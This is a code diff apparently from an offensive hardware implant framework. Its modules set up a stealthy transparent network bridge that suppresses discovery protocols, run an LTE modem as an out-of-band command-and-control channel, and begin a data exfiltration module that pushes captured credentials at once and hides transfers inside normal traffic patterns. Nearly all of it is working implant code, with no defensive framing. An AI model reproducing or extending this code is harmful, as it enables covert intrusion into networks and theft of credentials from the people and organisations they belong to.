if not self._if1 or not self._if2:
|
||||
logger.error("Bridge requires interface1 and interface2 in config")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Locate scripts directory
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._scripts_dir = os.path.join(install_path, "scripts")
|
||||
|
||||
if not self.setup_bridge(self._if1, self._if2):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Start watchdog thread
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._bridge_up = True
|
||||
|
||||
self._watchdog_thread = threading.Thread(
|
||||
target=self._watchdog_loop, daemon=True, name="sensor-bridge-watchdog",
|
||||
)
|
||||
self._watchdog_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
if self._watchdog_thread and self._watchdog_thread.is_alive():
|
||||
self._watchdog_thread.join(timeout=5.0)
|
||||
|
||||
self.teardown_bridge()
|
||||
self._bridge_up = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge torn down")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"bridge_up": self._bridge_up,
|
||||
"bridge_name": BRIDGE_NAME,
|
||||
"interface1": self._if1,
|
||||
"interface2": self._if2,
|
||||
"healthy": self.is_healthy(),
|
||||
"consecutive_failures": self._consecutive_failures,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_healthy()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bridge operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def setup_bridge(self, if1: str, if2: str) -> bool:
|
||||
"""Create transparent bridge between two interfaces.
|
||||
|
||||
Tries the shell script first; falls back to inline commands if
|
||||
the script is missing.
|
||||
"""
|
||||
script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script, if1, if2],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge setup via script succeeded")
|
||||
return True
|
||||
logger.warning("Bridge script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Bridge script error: %s", exc)
|
||||
|
||||
# Fallback: inline bridge setup
|
||||
return self._setup_bridge_inline(if1, if2)
|
||||
|
||||
def teardown_bridge(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge teardown via script succeeded")
|
||||
return True
|
||||
logger.warning("Teardown script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Teardown script error: %s", exc)
|
||||
|
||||
# Fallback: inline teardown
|
||||
return self._teardown_bridge_inline()
|
||||
|
||||
def is_healthy(self) -> bool:
|
||||
"""Check if the bridge interface exists and both ports are attached."""
|
||||
try:
|
||||
# Check bridge exists
|
||||
result = subprocess.run(
|
||||
["ip", "link", "show", BRIDGE_NAME],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
# Check both interfaces are in the bridge
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if1],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if2],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
except (subprocess.TimeoutExpired, OSError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Inline bridge commands (fallback if scripts missing)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_bridge_inline(self, if1: str, if2: str) -> bool:
|
||||
"""Create bridge using ip/bridge/ebtables commands directly."""
|
||||
commands = [
|
||||
# Create bridge, no IP
|
||||
["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"],
|
||||
# Disable STP
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"],
|
||||
# Disable forwarding delay
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"],
|
||||
# Set promiscuous mode on interfaces
|
||||
["ip", "link", "set", if1, "promisc", "on"],
|
||||
["ip", "link", "set", if2, "promisc", "on"],
|
||||
# Flush any existing IP addresses
|
||||
["ip", "addr", "flush", "dev", if1],
|
||||
["ip", "addr", "flush", "dev", if2],
|
||||
# Add interfaces to bridge
|
||||
["ip", "link", "set", if1, "master", BRIDGE_NAME],
|
||||
["ip", "link", "set", if2, "master", BRIDGE_NAME],
|
||||
# Bring everything up
|
||||
["ip", "link", "set", "up", "dev", if1],
|
||||
["ip", "link", "set", "up", "dev", if2],
|
||||
["ip", "link", "set", "up", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, check=True, capture_output=True, timeout=10)
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("Bridge setup command failed: %s — %s",
|
||||
" ".join(cmd), exc.stderr.decode(errors='replace'))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("Bridge setup command timed out: %s", " ".join(cmd))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
|
||||
# Suppress STP/BPDU/CDP/LLDP via ebtables
|
||||
self._apply_ebtables_rules(if1, if2)
|
||||
|
||||
logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME)
|
||||
return True
|
||||
|
||||
def _teardown_bridge_inline(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
# Remove ebtables rules (best-effort)
|
||||
self._remove_ebtables_rules()
|
||||
|
||||
commands = [
|
||||
["ip", "link", "set", "down", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
# Remove interfaces from bridge
|
||||
if self._if1:
|
||||
commands.append(["ip", "link", "set", self._if1, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if1, "promisc", "off"])
|
||||
if self._if2:
|
||||
commands.append(["ip", "link", "set", self._if2, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if2, "promisc", "off"])
|
||||
|
||||
commands.append(["ip", "link", "del", BRIDGE_NAME])
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=10)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass # Best-effort teardown
|
||||
|
||||
logger.info("Inline bridge teardown complete")
|
||||
return True
|
||||
|
||||
def _apply_ebtables_rules(self, if1: str, if2: str) -> None:
|
||||
"""Apply ebtables rules to suppress discovery protocols."""
|
||||
# STP/BPDU destination: 01:80:C2:00:00:00
|
||||
# CDP/VTP: 01:00:0C:CC:CC:CC
|
||||
# LLDP: 01:80:C2:00:00:0E
|
||||
suppress_macs = [
|
||||
"01:80:C2:00:00:00", # STP/BPDU
|
||||
"01:00:0C:CC:CC:CC", # CDP/VTP
|
||||
"01:80:C2:00:00:0E", # LLDP
|
||||
"01:00:0C:CC:CC:CD", # Cisco PVST+
|
||||
]
|
||||
|
||||
for mac in suppress_macs:
|
||||
for direction in ["FORWARD", "OUTPUT"]:
|
||||
cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"]
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd))
|
||||
|
||||
def _remove_ebtables_rules(self) -> None:
|
||||
"""Flush ebtables rules."""
|
||||
try:
|
||||
subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5)
|
||||
subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Watchdog thread
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _watchdog_loop(self) -> None:
|
||||
"""Monitor bridge health; restore direct connectivity on failure."""
|
||||
while self._running:
|
||||
time.sleep(WATCHDOG_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
if self.is_healthy():
|
||||
self._consecutive_failures = 0
|
||||
continue
|
||||
|
||||
self._consecutive_failures += 1
|
||||
logger.warning("Bridge health check failed (%d/%d)",
|
||||
self._consecutive_failures, WATCHDOG_MAX_FAILURES)
|
||||
|
||||
if self._consecutive_failures >= WATCHDOG_MAX_FAILURES:
|
||||
logger.error("Bridge failsafe triggered — restoring direct connectivity")
|
||||
self.bus.emit("MODULE_ERROR",
|
||||
{"module": self.name,
|
||||
"error": "bridge_failsafe_triggered",
|
||||
"consecutive_failures": self._consecutive_failures},
|
||||
source_module=self.name)
|
||||
|
||||
# Teardown broken bridge and restore direct connection
|
||||
self._teardown_bridge_inline()
|
||||
self._bridge_up = False
|
||||
|
||||
# Try to re-establish bridge
|
||||
if self._if1 and self._if2:
|
||||
time.sleep(2.0)
|
||||
if self._setup_bridge_inline(self._if1, self._if2):
|
||||
self._bridge_up = True
|
||||
self._consecutive_failures = 0
|
||||
logger.info("Bridge recovered after failsafe")
|
||||
else:
|
||||
logger.error("Bridge recovery failed — operating without bridge")
|
||||
self._running = False
|
||||
@@ -0,0 +1,462 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cellular backup module — LTE modem for out-of-band C2.
|
||||
|
||||
Manages an LTE modem (SIM7600/EC25) connected via USB through the 13-pin
|
||||
header on the Orange Pi Zero 3. Provides a completely separate network path
|
||||
from the wired/WiFi connection, enabling out-of-band command and control.
|
||||
|
||||
OPi Zero 3+ only — skips on pi_zero tier (no USB bandwidth for modem).
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
try:
|
||||
import serial
|
||||
except ImportError:
|
||||
serial = None
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default serial device for modem AT commands
|
||||
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
|
||||
DEFAULT_BAUD_RATE = 115200
|
||||
AT_TIMEOUT = 5 # seconds for AT command responses
|
||||
|
||||
|
||||
class CellularBackup(BaseModule):
|
||||
"""LTE modem management for out-of-band C2."""
|
||||
|
||||
name = "cellular_backup"
|
||||
module_type = "connectivity"
|
||||
priority = -50
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._serial: Optional[serial.Serial] = None
|
||||
self._modem_device: Optional[str] = None
|
||||
self._apn: Optional[str] = None
|
||||
self._interface: Optional[str] = None
|
||||
self._connected = False
|
||||
self._modem_model: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
if serial is None:
|
||||
logger.error("pyserial not installed — cellular backup unavailable")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "pyserial_missing"})
|
||||
return
|
||||
|
||||
# Check hardware tier
|
||||
device_tier = self.config.get("device", {}).get("tier", "")
|
||||
if device_tier == "pi_zero":
|
||||
logger.info("Cellular module skipped — pi_zero tier has no USB bandwidth")
|
||||
self.state.set_module_status(self.name, "skipped",
|
||||
extra={"reason": "pi_zero_tier"})
|
||||
return
|
||||
|
||||
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
|
||||
if not cell_cfg:
|
||||
logger.error("No cellular config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._modem_device = cell_cfg.get("device", DEFAULT_MODEM_DEVICE)
|
||||
self._apn = cell_cfg.get("apn")
|
||||
self._interface = cell_cfg.get("interface", "wwan0")
|
||||
|
||||
if not self._apn:
|
||||
logger.error("Cellular APN not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Open serial connection to modem
|
||||
if not self._open_serial():
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Initialize modem
|
||||
if not self._init_modem():
|
||||
self._close_serial()
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Enable data connection
|
||||
if not self.enable():
|
||||
logger.warning("Failed to enable data — modem initialized but no data yet")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid,
|
||||
extra={"modem": self._modem_model,
|
||||
"apn": self._apn})
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"modem": self._modem_model, "apn": self._apn},
|
||||
source_module=self.name)
|
||||
logger.info("Cellular backup active — modem=%s, APN=%s",
|
||||
self._modem_model, self._apn)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.disable()
|
||||
self._close_serial()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Cellular backup stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
signal_info = self.get_signal() if self._running else None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"modem_model": self._modem_model,
|
||||
"apn": self._apn,
|
||||
"interface": self._interface,
|
||||
"signal": signal_info,
|
||||
"ip": self.get_ip() if self._connected else None,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
# Check modem responds to AT
|
||||
resp = self._at_command("AT")
|
||||
return resp is not None and "OK" in resp
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Cellular operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def enable(self) -> bool:
|
||||
"""Configure APN and enable data connection."""
|
||||
# Try ModemManager first (mmcli)
|
||||
if self._enable_via_mmcli():
|
||||
self._connected = True
|
||||
return True
|
||||
|
||||
# Fallback: direct AT commands
|
||||
if self._enable_via_at():
|
||||
self._connected = True
|
||||
return True
|
||||
|
||||
logger.error("Failed to enable cellular data via mmcli or AT commands")
|
||||
return False
|
||||
|
||||
def disable(self) -> bool:
|
||||
"""Disable data connection."""
|
||||
# Try mmcli disconnect
|
||||
try:
|
||||
modem_index = self._get_modem_index()
|
||||
if modem_index is not None:
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--simple-disconnect"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# AT command fallback
|
||||
self._at_command("AT+CGACT=0,1")
|
||||
self._at_command("AT+CFUN=4") # Flight mode
|
||||
|
||||
self._connected = False
|
||||
return True
|
||||
|
||||
def get_signal(self) -> Optional[dict]:
|
||||
"""Get signal quality information."""
|
||||
result = {}
|
||||
|
||||
# AT+CSQ — signal quality
|
||||
resp = self._at_command("AT+CSQ")
|
||||
if resp:
|
||||
match = re.search(r'\+CSQ:\s*(\d+),(\d+)', resp)
|
||||
if match:
|
||||
rssi_raw = int(match.group(1))
|
||||
ber = int(match.group(2))
|
||||
# Convert to dBm: -113 + (2 * rssi_raw)
|
||||
if 0 <= rssi_raw <= 31:
|
||||
result["rssi_dbm"] = -113 + (2 * rssi_raw)
|
||||
result["ber"] = ber
|
||||
|
||||
# AT+COPS? — operator
|
||||
resp = self._at_command("AT+COPS?")
|
||||
if resp:
|
||||
match = re.search(r'\+COPS:\s*\d+,\d+,"([^"]+)"', resp)
|
||||
if match:
|
||||
result["operator"] = match.group(1)
|
||||
|
||||
# AT+CREG? — registration status
|
||||
resp = self._at_command("AT+CREG?")
|
||||
if resp:
|
||||
match = re.search(r'\+CREG:\s*\d+,(\d+)', resp)
|
||||
if match:
|
||||
reg_status = int(match.group(1))
|
||||
result["registered"] = reg_status in (1, 5) # 1=home, 5=roaming
|
||||
|
||||
return result if result else None
|
||||
|
||||
def get_ip(self) -> Optional[str]:
|
||||
"""Get the IP address assigned to the cellular interface."""
|
||||
# Check interface
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ip", "-4", "addr", "show", self._interface],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
match = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
|
||||
if match:
|
||||
return match.group(1)
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# Fallback: AT command
|
||||
resp = self._at_command("AT+CGPADDR=1")
|
||||
if resp:
|
||||
match = re.search(r'\+CGPADDR:\s*\d+,"?(\d+\.\d+\.\d+\.\d+)"?', resp)
|
||||
if match:
|
||||
return match.group(1)
|
||||
|
||||
return None
|
||||
|
||||
def send_sms(self, number: str, msg: str) -> bool:
|
||||
"""Send an SMS message via the modem."""
|
||||
# Set text mode
|
||||
resp = self._at_command("AT+CMGF=1")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to set SMS text mode")
|
||||
return False
|
||||
|
||||
# Send message
|
||||
self._at_command(f'AT+CMGS="{number}"', expect_prompt=True)
|
||||
time.sleep(0.5)
|
||||
|
||||
if self._serial and self._serial.is_open:
|
||||
try:
|
||||
self._serial.write(msg.encode() + b"\x1a") # Ctrl+Z to send
|
||||
time.sleep(3.0)
|
||||
resp = self._serial.read(self._serial.in_waiting).decode(errors='replace')
|
||||
if "+CMGS:" in resp:
|
||||
logger.info("SMS sent to %s", number)
|
||||
return True
|
||||
except (serial.SerialException, OSError) as exc:
|
||||
logger.error("SMS send error: %s", exc)
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# ModemManager (mmcli) path
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _enable_via_mmcli(self) -> bool:
|
||||
"""Enable cellular data via ModemManager."""
|
||||
modem_index = self._get_modem_index()
|
||||
if modem_index is None:
|
||||
return False
|
||||
|
||||
try:
|
||||
# Enable modem
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--enable"],
|
||||
check=True, capture_output=True, timeout=15,
|
||||
)
|
||||
|
||||
# Connect with APN
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--simple-connect",
|
||||
f"apn={self._apn}"],
|
||||
check=True, capture_output=True, timeout=30,
|
||||
)
|
||||
|
||||
# Wait for interface to come up
|
||||
time.sleep(3.0)
|
||||
|
||||
# Configure interface
|
||||
bearer_result = subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--list-bearers"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
|
||||
logger.info("Cellular data enabled via mmcli (modem %d)", modem_index)
|
||||
return True
|
||||
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.debug("mmcli connect failed: %s",
|
||||
exc.stderr.decode(errors='replace') if exc.stderr else "")
|
||||
return False
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _get_modem_index(self) -> Optional[int]:
|
||||
"""Get the ModemManager modem index."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["mmcli", "-L"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
match = re.search(r'/Modem/(\d+)', result.stdout)
|
||||
if match:
|
||||
return int(match.group(1))
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# AT command path
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _enable_via_at(self) -> bool:
|
||||
"""Enable cellular data via direct AT commands."""
|
||||
# Exit flight mode
|
||||
resp = self._at_command("AT+CFUN=1")
|
||||
if not resp:
|
||||
return False
|
||||
|
||||
time.sleep(2.0)
|
||||
|
||||
# Set APN
|
||||
resp = self._at_command(f'AT+CGDCONT=1,"IP","{self._apn}"')
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to set APN")
|
||||
return False
|
||||
|
||||
# Activate PDP context
|
||||
resp = self._at_command("AT+CGACT=1,1")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to activate PDP context")
|
||||
return False
|
||||
|
||||
# Wait for data connection
|
||||
time.sleep(3.0)
|
||||
|
||||
# Check registration
|
||||
signal = self.get_signal()
|
||||
if signal and signal.get("registered"):
|
||||
logger.info("Cellular data enabled via AT commands")
|
||||
return True
|
||||
|
||||
logger.warning("Modem registered but data connection uncertain")
|
||||
return True # Modem is up; data may need a moment
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Serial / AT helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _open_serial(self) -> bool:
|
||||
"""Open serial connection to modem."""
|
||||
try:
|
||||
self._serial = serial.Serial(
|
||||
port=self._modem_device,
|
||||
baudrate=DEFAULT_BAUD_RATE,
|
||||
timeout=AT_TIMEOUT,
|
||||
write_timeout=AT_TIMEOUT,
|
||||
)
|
||||
logger.debug("Opened serial port %s", self._modem_device)
|
||||
return True
|
||||
except serial.SerialException as exc:
|
||||
logger.error("Cannot open modem serial port %s: %s",
|
||||
self._modem_device, exc)
|
||||
return False
|
||||
|
||||
def _close_serial(self) -> None:
|
||||
"""Close serial connection."""
|
||||
if self._serial and self._serial.is_open:
|
||||
try:
|
||||
self._serial.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._serial = None
|
||||
|
||||
def _init_modem(self) -> bool:
|
||||
"""Initialize modem with basic AT commands."""
|
||||
# Basic AT test
|
||||
resp = self._at_command("AT")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Modem not responding to AT commands on %s", self._modem_device)
|
||||
return False
|
||||
|
||||
# Disable echo
|
||||
self._at_command("ATE0")
|
||||
|
||||
# Get modem model
|
||||
resp = self._at_command("AT+CGMM")
|
||||
if resp:
|
||||
lines = [l.strip() for l in resp.splitlines() if l.strip() and l.strip() != "OK"]
|
||||
if lines:
|
||||
self._modem_model = lines[0]
|
||||
|
||||
# Check SIM
|
||||
resp = self._at_command("AT+CPIN?")
|
||||
if not resp or "READY" not in resp:
|
||||
logger.error("SIM not ready: %s", resp)
|
||||
return False
|
||||
|
||||
logger.info("Modem initialized: %s, SIM ready", self._modem_model)
|
||||
return True
|
||||
|
||||
def _at_command(self, cmd: str, expect_prompt: bool = False) -> Optional[str]:
|
||||
"""Send an AT command and return the response."""
|
||||
if not self._serial or not self._serial.is_open:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Flush input
|
||||
self._serial.reset_input_buffer()
|
||||
|
||||
# Send command
|
||||
self._serial.write((cmd + "\r\n").encode())
|
||||
|
||||
if expect_prompt:
|
||||
# Wait for > prompt
|
||||
time.sleep(0.5)
|
||||
data = self._serial.read(self._serial.in_waiting)
|
||||
return data.decode(errors='replace')
|
||||
|
||||
# Read response
|
||||
time.sleep(0.5)
|
||||
response = b""
|
||||
deadline = time.time() + AT_TIMEOUT
|
||||
while time.time() < deadline:
|
||||
if self._serial.in_waiting:
|
||||
response += self._serial.read(self._serial.in_waiting)
|
||||
# Check for final result codes
|
||||
decoded = response.decode(errors='replace')
|
||||
if any(code in decoded for code in ("OK", "ERROR", "+CME ERROR", "+CMS ERROR")):
|
||||
return decoded
|
||||
time.sleep(0.1)
|
||||
|
||||
return response.decode(errors='replace') if response else None
|
||||
|
||||
except (serial.SerialException, OSError) as exc:
|
||||
logger.debug("AT command error: %s", exc)
|
||||
return None
|
||||
@@ -0,0 +1,460 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Data exfiltration module — priority-based data transport.
|
||||
|
||||
Manages data exfiltration through the connectivity chain with three
|
||||
priority tiers:
|
||||
|
||||
IMMEDIATE: Credentials — pushed as captured via fastest available channel
|
||||
NIGHTLY: Intel summaries, topology updates — scheduled nightly sync
|
||||
ON_DEMAND: PCAPs — large files pulled by operator when needed
|
||||
|
||||
Respects traffic_mimicry baseline — times transfers to match normal upload
|
||||
patterns so exfil activity blends with legitimate traffic.
|
||||
|
||||
Falls back through connectivity chain:
|
||||
WireGuard -> Tailscale -> reverse_ssh -> cellular
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
from enum import IntEnum
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from core.bus import Event
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ExfilPriority(IntEnum):
|
||||
"""Exfiltration priority levels."""
|
||||
IMMEDIATE = 0 # Credentials — push now
|
||||
NIGHTLY = 1 # Intel/topology — batch nightly
|
||||
ON_DEMAND = 2 # PCAPs — operator pulls
|
||||
|
||||
|
||||
@dataclass
|
||||
class ExfilJob:
|
||||
"""A pending exfiltration task."""
|
||||
path: str
|
||||
priority: ExfilPriority
|
||||
created: float = field(default_factory=time.time)
|
||||
attempts: int = 0
|
||||
last_attempt: float = 0
|
||||
size_bytes: int = 0
|
||||
description: str = ""
|
||||
|
||||
|
||||
# Connectivity chain — tried in order of preference
|
||||
CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "cellular_backup"]
|
||||
|
||||
NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync
|
||||
MAX_ATTEMPTS = 5
|
||||
RETRY_BACKOFF = 60 # seconds between retries
|
||||
|
||||
|
||||
class DataExfil(BaseModule):
|
||||
"""Priority-based data exfiltration through the connectivity chain."""
|
||||
|
||||
name = "data_exfil"
|
||||
module_type = "connectivity"
|
||||
priority = -100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._immediate_queue: deque = deque(maxlen=1000)
|
||||
self._nightly_queue: deque = deque(maxlen=500)
|
||||
self._on_demand_queue: deque = deque(maxlen=200)
|
||||
self._worker_thread: Optional[threading.Thread] = None
|
||||
self._nightly_thread: Optional[threading.Thread] = None
|
||||
self._lock = threading.Lock()
|
||||
self._stats = {
|
||||
"files_sent": 0,
|
||||
"bytes_sent": 0,
|
||||
"creds_pushed": 0,
|
||||
"nightly_syncs": 0,
|
||||
"failures": 0,
|
||||
}
|
||||
self._remote_base: Optional[str] = None
|
||||
self._remote_user: Optional[str] = None
|
||||
self._ssh_key: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
|
||||
self._remote_base = exfil_cfg.get("remote_base", "/data/exfil")
|
||||
self._remote_user = exfil_cfg.get("remote_user", "operator")
|
||||
self._ssh_key = exfil_cfg.get("ssh_key")
|
||||
|
||||
# Subscribe to credential events for immediate push
|
||||
self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
|
||||
|
||||
# Start worker thread for processing queues
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._worker_thread = threading.Thread(
|
||||
target=self._worker_loop, daemon=True, name="sensor-exfil-worker",
|
||||
)
|
||||
self._worker_thread.start()
|
||||
|
||||
# Start nightly sync scheduler
|
||||
self._nightly_thread = threading.Thread(
|
||||
target=self._nightly_scheduler, daemon=True, name="sensor-exfil-nightly",
|
||||
)
|
||||
self._nightly_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("Data exfil module active")
|
||||
|
||||
